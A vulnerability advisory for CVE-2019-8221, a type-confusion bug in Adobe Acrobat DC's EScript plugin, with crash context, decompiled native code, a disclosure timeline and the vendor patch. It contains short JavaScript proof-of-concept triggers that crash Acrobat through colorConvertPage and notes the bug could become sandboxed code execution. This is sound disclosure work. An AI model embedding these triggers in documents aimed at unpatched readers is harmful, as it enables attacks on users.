Advisories

Adobe Reader Type Confusion in getColorConvertAction

CVE ID

CVE-2019-8221

Tested Versions

  • Acrobat DC version 2019.008.20064 (Windows 10 64-bit)

Product URL(s)

  • https://acrobat.adobe.com/us/en/acrobat.html
  • https://get.adobe.com/reader/

Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF).

Both Adobe Reader and Acrobat DC share the same Escript.api plugin:

Image path: C:\Program Files (x86)\Adobe\Acrobat DC\Acrobat\plug_ins\EScript.api
Image name: EScript.api
Browse all global symbols  functions  data
Timestamp:        Tue Dec  4 10:46:45 2018 (5C06CB95)
CheckSum:         00000000
ImageSize:        002AB000
File version:     19.10.20064.48846
Product version:  19.10.20064.48846
File flags:       0 (Mask 3F)
File OS:          4 Unknown Win32
File type:        2.0 Dll
File date:        00000000.00000000
Translations:     0409.04b0
Information from resource tables:
    CompanyName:      Adobe Systems Incorporated
    ProductName:      Adobe Acrobat Escript
    InternalName:     Escript
    OriginalFilename: Escript.api
    ProductVersion:   19.10.20064.310990
    FileVersion:      19.10.20064.310990
    FileDescription:  Adobe Acrobat Escript Plug-in

Vulnerability

There is type-confusion because the colorConvertPage function does not check the object type.

Crash context:

(136c.f74): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=00000000 edx=07acec68 esi=006fd84c edi=006fd7b4
eip=760e9060 esp=006fd738 ebp=006fd75c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
ucrtbase!strlen+0x30:
760e9060 8b01            mov     eax,dword ptr [ecx]  ds:002b:00000000=????????

The following JavaScript code will crash Adobe Acrobat DC (there is no need to enable PageHeap). The program will crash because of a call to strlen with a null pointer:

myColor=this.getColorConvertAction();
myColor.convertProfile=this.bookmarkRoot
this.bookmarkRoot.remove()
this.colorConvertPage(3,[myColor],[]);

Analysis

To investigate this further, we print the convertProfile property after it has been removed:

myColor=this.getColorConvertAction();    
myColor.convertProfile=this.bookmarkRoot
this.bookmarkRoot.remove()             
app.alert(myColor.convertProfile)
this.colorConvertPage(3,[myColor],[]); 

In this case, Reader did not crash but it shows:

DeadObjectError: Object is dead.
Bookmark.toString:4:Console undefined:Exec

From this, we know that myColor.convertProfile is a dead object, so the code throws an exception. The hypothesis is that this might be a type confusion bug because when function colorConvertPage is called, it will use the convertProfile property that was set before. However, since that property now points to a dead object, and maybe there were no checks for this condition.

Let’s examine the native code:

// EScript + 0x087D0D
int  sub_87D0D(char a1, int a2, int a3)
{
   ....
   v12 = sub_40B2E(&a1, v39, "convertIntent");
   LOBYTE(v40) = 9;
   *(v3 + 44) = sub_81831(v12);
   LOBYTE(v40) = 0;
   sub_4028B(v39);
   *(v3 + 48) = 0;
   v13 = sub_40B2E(&a1, v30, "convertProfile"); // set property name
   LOBYTE(v40) = 10;
   v14 = sub_87394(v13, v39); // do somthing with this property ( call into crash)
   v15 = v14[5] < 0x10u;
   LOBYTE(v40) = 11;
   if ( !v15 )
     v14 = *v14;
   ....
}

int __thiscall sub_87394(_DWORD *this, int a1)
{
 v2 = sub_40CF2(this, &v4);
 v5 = 0;
 crash_func(v2, a1); // call into crash
 sub_4022B(&v4);
 return a1;
}

I examined the functions around sub_87394 but did not find any checks for dead objects.

I also tested properties that involve function sub_87394 and they also triggered a crash. There were 7 such properties, such as:

myColor=this.getColorConvertAction();    
myColor.colorantName=this.bookmarkRoot;  // different property here
this.bookmarkRoot.remove()             
this.colorConvertPage(3,[myColor],[]); 

This is a type-confusion bug because of missing checks on the object type.

With proper memory manipulation this bug can be turned into code exctution inside sandbox context.

Vendor Response

The vendor has acknowledged the issue and released an update to address it.

The vendor’s advisory can be found here: APSB19-49.

Timeline

  • 2019-09-09 Vendor disclosure
  • 2019-10-15 Vendor patched

Credit

Discovered by Ta Dinh Sung

Want to participate in such cutting-edge research?

We are hiring!

Find Out More